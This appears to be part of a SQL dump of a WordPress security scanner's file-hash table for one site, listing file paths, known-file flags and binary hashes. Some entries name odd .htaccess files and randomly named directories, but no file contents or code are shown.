('\Zt0Nԡ1/','wp-includes/js/dist/patterns.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/patterns.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\rUntok','9sٗ1e0JF_\0|Jp+','',0,'?'),
('/7O{1p0@u','wp-includes/css/dist/media-utils/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/media-utils/style-rtl.css',0,'V൬ѿ t8-z','V൬ѿ t8-z','	ѴDzA2KiiSX֌','',0,'?'),
('o+F0Hn3hJ','wp-includes/blocks/gallery.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/gallery.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','u eᬧ>','}{?$J5?(4Z{{F؈w$Rs\Z3','',0,'?'),
('eI>YSq','wp-includes/js/dist/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/dist/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('UV\"s[ ','wp-includes/style-engine/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/style-engine/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('ÖvhlP','wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-image.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-image.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','qz\\$xڙb>',']_/\r\'IM\ZM=_@ޥ\\=','',0,'?'),
(')G/ɒxeO5','wp-content/themes/twentytwentytwo/assets/fonts/dm-sans/DMSans-BoldItalic.ttf','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/dm-sans/DMSans-BoldItalic.ttf',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6\0Hqxژ','y3?}ϑ*50vJ~@','',0,'?'),
(' CY','wp-includes/pomo/entry.php','/home/trevorkl/trevorklee.com/wp-includes/pomo/entry.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%Pg\'O$','<d+w*M$?5CvԌ','',0,'?'),
('>M8 ٵ|','wp-includes/images/crystal/archive.png','/home/trevorkl/trevorklee.com/wp-includes/images/crystal/archive.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','SI0An','L%XO+Aa!S\\܉&','',0,'?'),
('HdoCZ','wp-includes/sitemaps/class-wp-sitemaps-index.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/class-wp-sitemaps-index.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','{Zɬ>MhʢhO','\"lEUd(\ZZ#TO \r>gW','',0,'?'),
('\"\rJ\04\'i','wp-admin/js/password-strength-meter.js','/home/trevorkl/trevorklee.com/wp-admin/js/password-strength-meter.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ʃD)an','`)CELdX\\&F-V7+1SA','',0,'?'),
('PA.LiY','wp-admin/css/colors/blue/blue/index.php','/home/trevorkl/trevorklee.com/wp-admin/css/colors/blue/blue/index.php',0,'P@3J)K\\1','P@3J)K\\1',':0e#յ)$)i\'x\rx6w	','',0,'?'),
('6=CTc24.)','wp-includes/abilities-api/class-wp-ability.php','/home/trevorkl/trevorklee.com/wp-includes/abilities-api/class-wp-ability.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^$1<=sI><y','X\nS&:[j z*tq','',0,'?'),
('\0ߴ:HP','wp-includes/css/classic-themes.css','/home/trevorkl/trevorklee.com/wp-includes/css/classic-themes.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','{5gj\rp	','p8e@eS\0,}Chw\ra8\073k/','',0,'?'),
('CC*v\0_\0','wp-content/themes/twentytwentyone/classes/class-twenty-twenty-one-customize-color-control.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/classes/class-twenty-twenty-one-customize-color-control.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','c|f̃X','̙~B\':?伯\0f؃m','',0,'?'),
('\Z\r\\9\'','wp-content/themes/twentytwentytwo/inc/patterns/hidden-bird.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/hidden-bird.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\ZRS','uC:tuiM!FJL','',0,'?'),
('\'haU\Zq`ug','wp-includes/blocks/navigation-link/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation-link/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','IٞML=g',';XjwO]^+{','',0,'?'),
('4=+@MHTY','wp-content/themes/twentytwentytwo/inc/patterns/header-logo-navigation-social-black-background.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-logo-navigation-social-black-background.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|&k|9Xo','AE%\0ސ\\o<vb Ed ^.','',0,'?'),
('6f7wcA\0','wp-includes/assets/script-loader-react-refresh-entry.min.php','/home/trevorkl/trevorklee.com/wp-includes/assets/script-loader-react-refresh-entry.min.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','¡K)ayV','B\"Oo	z)I@I\"cIʞ3u','',0,'?'),
('7kqg>((','wp-content/themes/twentytwentyone/assets/css/print.css','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/css/print.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/%5P,`[@6','WEٺǎδUmUV\rOz','',0,'?'),
(':k15\\','wp-content/themes/twentytwentyfour/styles/mint.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/styles/mint.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','H.\Z5Wg8','(QάVf}6\"%lpa\\d','',0,'?'),
('CǜcI3V','wp-includes/blocks/post-time-to-read/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-time-to-read/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	oauk4\"',' 1!\0x$aӑNJGݖu','',0,'?'),
('SZ2WA<籸U','wp-admin/css/colors/blue/blue/.htaccess','/home/trevorkl/trevorklee.com/wp-admin/css/colors/blue/blue/.htaccess',0,'9\rKVM{','9\rKVM{','0&ަ\r%i*]4ܡM_','',0,'?'),
('\\AV*籿','wp-includes/js/jquery/ui/slider.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/slider.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\'w4]*k\\','Qr0moY_N5TvAs9\r)','',0,'?'),
('e~Ь9','wp-content/themes/twentytwenty/style.css','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\ev9X_Bsg_','eka_Z<~o\nȺOO7_\Z','',0,'?'),
('pClpl3','wp-includes/blocks/post-comments-count/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-comments-count/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','w\0cnLge!','c{mAY\'nvW!eA','',0,'?'),
('{49u6$v','wp-includes/SimplePie/src/HTTP/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/HTTP/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('.,\"NUz.E\Z','wp-includes/blocks/term-count/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/term-count/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','W2bP1\r;3','ۅyzݫ\ZYMCJ','',0,'?'),
('(\"\Z','wp-includes/html-api/lpyi1nu/qounslr/thbgjzr/index.php','/home/trevorkl/trevorklee.com/wp-includes/html-api/lpyi1nu/qounslr/thbgjzr/index.php',0,'*xI;X9އ','*xI;X9އ','Mw]USr(%c,\0d]Edci','',0,'?'),
('cnxԺ|','wp-includes/class-walker-category.php','/home/trevorkl/trevorklee.com/wp-includes/class-walker-category.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','U?Dԝ>\"6m','Ko_ƖRjDܩzVL5\nzV','',0,'?'),
('J̡VbAOG','wp-includes/blocks/loginout/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/loginout/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('nNd','wp-includes/js/hoverintent-js.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/hoverintent-js.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' p.`u76?','Y!:\nAː	ګZg,=|','',0,'?'),
(']*.>`Ef','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/XSalsa20.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/XSalsa20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','kFh瀁1-','6!omݎ^.^@˨v7	I}','',0,'?'),
('ç` \nB','wp-includes/blocks/post-date/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-date/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=aV','C`bH&2*6Թ(]3\\nڶ}','',0,'?'),
('ݡ=NxK`*','wp-content/plugins/wordfence/lib/wordfenceClass.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wordfenceClass.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','r%tHT2!PZm3/','.n6~q<\\D.','',0,'?'),
('scEvO8','wp-content/themes/twentynineteen/sass/media/_captions.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/media/_captions.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\'^__]EM\'so','-Ln@A!@f','',0,'?'),
('i})]M','wp-includes/blocks/term-description/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/term-description/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>DS1*','s+=ǃttGwD[4	)','',0,'?'),
('ܱ=2ٲ̲>S\\','wp-content/plugins/wordfence/modules/login-security/views/passkey/manage.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/passkey/manage.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Cda:;RSU','m\\ǾBD!(3H\"ny','',0,'?'),
('^Gu+','wp-includes/class-wp-scripts.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-scripts.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\8#ǟ1S','!fSC>o	A;;tC\rXrH?7','',0,'?'),
('&/dbdq2/','wp-admin/includes/class-wp-community-events.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-community-events.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ތGj+y','XԅF{GDezCDR\r{q','',0,'?'),
('%w45X泞','wp-content/plugins/wordfence/modules/login-security/classes/model/crypto/base2n.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/crypto/base2n.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','t^I\']!','Ǧbt5fckdm','',0,'?'),
('{o7o\\i','wp-content/themes/twentytwentyfive/patterns/page-business-home.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/page-business-home.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','sltAPڲ[\'','^ºĵN?֗l,~;%9Fu\n','',0,'?'),
('\0]avCY','wp-includes/class-wp-walker.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-walker.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+d\\-$5','jWQOWrSU *xd؀Kj','',0,'?'),
('?HhD0	','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/php72compat.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/php72compat.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$ HpH\rz','Xgkx(Us]#','',0,'?'),
('NVԱzZ','wp-includes/js/jquery/ui/effect-shake.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/effect-shake.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1P=O','w5 4nWe4;K!XX','',0,'?'),
('\nW1NN,-HuB','wp-includes/js/tinymce/plugins/hr/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/hr/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('ǭkOl 9ڇJ','wp-content/themes/twentytwentyone/functions.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/functions.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','URK','?99qTDiNh\\%of<rX','',0,'?'),
('z\03hd*','wp-includes/blocks/post-template/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-template/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@2Mzf\ZAVc\01','[Mz=M1p`KvUB\'{U/L=','',0,'?'),
('!;:L\Z#','wp-content/themes/twentytwentyfour/patterns/cta-rsvp.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/cta-rsvp.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','tܟQl~˳N','q1#f41#4DAr\0N[','',0,'?'),
(')_J','wp-includes/js/media-models.js','/home/trevorkl/trevorklee.com/wp-includes/js/media-models.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','f\0f=>','+mZ Ֆ4D5>\noCm','',0,'?'),
('=[:\r&FE','wp-includes/blocks/video/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/video/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','y.}i/','3ހZgͨ9ԮZhIo','',0,'?'),
('?϶^7:y','wp-includes/blocks/paragraph/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/paragraph/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ll@;\'v@U:','۩P(}U-\0\0rAFkSA,%','',0,'?'),
('A$\\Nb	VZ','wp-content/themes/twentytwentyfour/patterns/posts-3-col.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/posts-3-col.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','U|h4R:n}','9	7w`ʳ>g7-5^9>@K','',0,'?'),
('G<7et/W','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/File.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/File.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[f0Lş\r{VW','\'&ܔ[m`ϊc2E%WGW䉷','',0,'?'),
('L}b&۵b','wp-includes/blocks/separator/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/separator/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','G:.MLTJ','}!o;eƧ(]','',0,'?'),
('T-b32y%&C','wp-includes/js/dist/script-modules/abilities/index.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/abilities/index.js',0,'0-1RY>B','0-1RY>B','\'?.F|P,m\r','',0,'?'),
('Wdl\09?i','wp-content/themes/twentytwentyone/classes/class-twenty-twenty-one-dark-mode.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/classes/class-twenty-twenty-one-dark-mode.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',BcI5dFf','(@H.\n0^t>FTh','',0,'?'),
(']\r_mݤF','wp-content/themes/twentytwentyfive/patterns/banner-intro.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/banner-intro.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','n]e訤','^\rVu)<r8D','',0,'?'),
('`&锥~K3/d','wp-admin/css/login.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/login.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&Kg&','άUr:ul;.^hs1z;`٩ӱ','',0,'?'),
('mȥ~','wp-content/plugins/wordfence/lib/wfBinaryList.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfBinaryList.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-=e;v4iڑ[R','Iv_1ZO)Li\Zl$߉','',0,'?'),
('nĮ7kA','wp-includes/css/dist/edit-site/posts-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-site/posts-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\nV@4ȼ4B','Fܕ)6DKФ3~\\','',0,'?'),
('ґ-\r{,','wp-content/plugins/wordfence/lib/wfCache.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfCache.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','نaAg5ZS\"','Dg]<M*\"LEjN8/d\na','',0,'?'),
('~L*,<:','wp-admin/includes/theme-install.php','/home/trevorkl/trevorklee.com/wp-admin/includes/theme-install.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','R#luA','\'P֔\n3tǜV[<','',0,'?'),
('Sx4@owN','wp-admin/js/widgets.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/widgets.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}Ah%Z2v','O嶖3HD@R\\*.RP','',0,'?'),
('ڤ& MKQo?','wp-admin/images/freedom-2.svg','/home/trevorkl/trevorklee.com/wp-admin/images/freedom-2.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\" 0gH>D','\"@YD]\\qw?\09B*7','',0,'?'),
(':m[ݢ:#','wp-includes/l10n.php','/home/trevorkl/trevorklee.com/wp-includes/l10n.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' u=}I-','#A58AƲF\'薯i\Zz/+','',0,'?'),
('p K9[kc','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AES/KeySchedule.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AES/KeySchedule.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','k{~_U','?.G\rmWIP=|s>+46u','',0,'?'),
('I\\jxg','wp-admin/images/date-button-2x.gif','/home/trevorkl/trevorklee.com/wp-admin/images/date-button-2x.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?a09JQ\Z','*Q_(G:*ηd.','',0,'?'),
('#j*5zѿA{C','wp-content/plugins/wordfence/modules/login-security/css/admin.1788880300.css','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/css/admin.1788880300.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_.dyX_K{','(4	El1>!ᾧ','',0,'?'),
(';i0J~','wp-includes/blocks/columns/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/columns/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Z.\n=Z؟y','|_0Gn5f_Nx9EL\n6T','',0,'?'),
('zIʳT=sa','wp-includes/blocks/comments-pagination.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments-pagination.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#IcA|=',':B`yf P (D{z','',0,'?'),
('j7r[,Z','wp-admin/upgrade.php','/home/trevorkl/trevorklee.com/wp-admin/upgrade.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','hT\rlLzx|',')3g@_&8U`Yi\\y','',0,'?'),
('4B\07qoBo6','wp-includes/blocks/rss.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/rss.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ve,/]','Z:$\ZԷnE394`\\`j!','',0,'?'),
('\Zlm@','wp-includes/customize/class-wp-customize-date-time-control.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-date-time-control.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','U̯DkuETp','@Km0EI5P$Jő!','',0,'?'),
('-\'gP\\','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519/Ge/P3.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519/Ge/P3.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','a*nvio	','}~w4-=_V^l㮞Fg','',0,'?'),
('}>|I','wp-content/themes/twentynineteen/404.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/404.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?/L','vb3샪k\n!{;]\\;~=J8','',0,'?'),
('2tu6OG)%','wp-admin/contribute.php','/home/trevorkl/trevorklee.com/wp-admin/contribute.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','g[AC_z','2CֆIq͙6j$','',0,'?'),
('51%7Z','wp-includes/js/dist/vendor/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('D8hFޛBViR','wp-admin/css/colors/blue/colors-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/colors/blue/colors-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','VG_1MHT','dK9c|E&[ܖsgcdx?','',0,'?'),
('L,\Z\"\0Cʡ8y','wp-includes/js/dist/primitives.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/primitives.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Q?M=ۅ-rw','E0c=Ɠ\"9x!$#,T','',0,'?'),
('j׻q.*;2','wp-admin/css/colors/sunrise/colors-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/colors/sunrise/colors-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','vVy^Y^','$jWR\"(oNB̟`O','',0,'?'),
('wesi<OJ%','wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(^F;bi','U]Y\nAܩ5h\re1I*_p^','',0,'?'),
('>`P@߹','wp-includes/theme-i18n.json','/home/trevorkl/trevorklee.com/wp-includes/theme-i18n.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>\0~:>&s\"?e\r','\r,,c}Dlo|#ץ.ڏZu','',0,'?'),
('@٨n@p','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0)GjYXY','^CsiT(\r{\n*Ԓ^:>Imծ^|r','',0,'?'),
('h0@At.','wp-content/themes/twentytwentyfive/functions.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/functions.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\",$Jݢz','o_ځbe=>YyL','',0,'?'),
('*kum1=-','wp-content/themes/twentytwentyone/assets/sass/05-blocks/latest-comments/_style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/latest-comments/_style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','xʯt^{e','sr)*yKB:-,f٢VMtCFP','',0,'?'),
('rW3᥾V','wp-admin/css/color-picker-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/color-picker-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!ժudǵL_','=؍;@SFXEwtEyBmg6ㄼ','',0,'?'),
('b\n=>	õ','wp-includes/blocks/comments-title/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments-title/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
(':X2M~','wp-includes/js/tinymce/skins/lightgray/fonts/tinymce-small.svg','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/lightgray/fonts/tinymce-small.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','24vLhN!2|','3iA(pGDڔ','',0,'?'),
('Cy8\'a','wp-content/plugins/wordfence/crypto/vendor/composer/InstalledVersions.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/composer/InstalledVersions.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','{sCQĞ','4,}⽂tp>݃$I\Z','',0,'?'),
('D?lkn\0:ZW\\\0Q','wp-includes/SimplePie/library/SimplePie/Cache/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Cache/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('L8\\ݼ+','wp-admin/images/imgedit-icons-2x.png','/home/trevorkl/trevorklee.com/wp-admin/images/imgedit-icons-2x.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',\'6Ut','?؎).l%<(_ 6`^c7','',0,'?'),
('YUh|kU$;','wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-quote.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-quote.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','mWt,UM;%!','AN	x.MDc','',0,'?'),
('[odI:$0','wp-content/themes/twentytwentyfive/patterns/format-link.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/format-link.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','N*DNOM mf','=Y>tGN{_ĥ#\Zt','',0,'?'),
('^`Ofi|(','wp-content/plugins/loginizer/assets/images/social/MicrosoftGraph.png','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/assets/images/social/MicrosoftGraph.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','mZa \r','8ÿYXBpD8','',0,'?'),
('p۞2N<:Z7r','wp-includes/js/tw-sack.js','/home/trevorkl/trevorklee.com/wp-includes/js/tw-sack.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','jYHW1','\rh(7QZi;OKk;#DwEo<H`','',0,'?'),
('u)8FG9C(','wp-includes/js/wp-ajax-response.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/wp-ajax-response.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','dfW)iMv]','ÚAGy8/OǫY>\ruz1','',0,'?'),
('uJ+)ܮv@','wp-includes/blocks/post-comments-link/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-comments-link/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','J-Ж\r','z5;~Ԑ7uXM5\\o=|\n','',0,'?'),
('&OZ=Ds.','wp-includes/blocks/search/view.min.js','/home/trevorkl/trevorklee.com/wp-includes/blocks/search/view.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0<IT]\0Z','&sva&m\Z~<ݕ~UV','',0,'?'),
('cO@/lM','wp-includes/blocks/separator/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/separator/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E`fʐE','\n~ڹ`7|pP*6p.','',0,'?'),
('\n`!@ޠ6\"752','wp-includes/sitemaps/ubxnoaj/xwlk1ch/index.html','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/ubxnoaj/xwlk1ch/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('Clo','wp-admin/nav-menus.php','/home/trevorkl/trevorklee.com/wp-admin/nav-menus.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2	\"59qjIo','.0US*;9!u[1L8XT\rv','',0,'?'),
('&`[l70cA݄','wp-includes/sodium_compat/namespaced/Core/ChaCha20/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('[s&iu)n','wp-includes/blocks/video/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/video/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2\0k!GH','j36rj l2@u5k+D','',0,'?'),
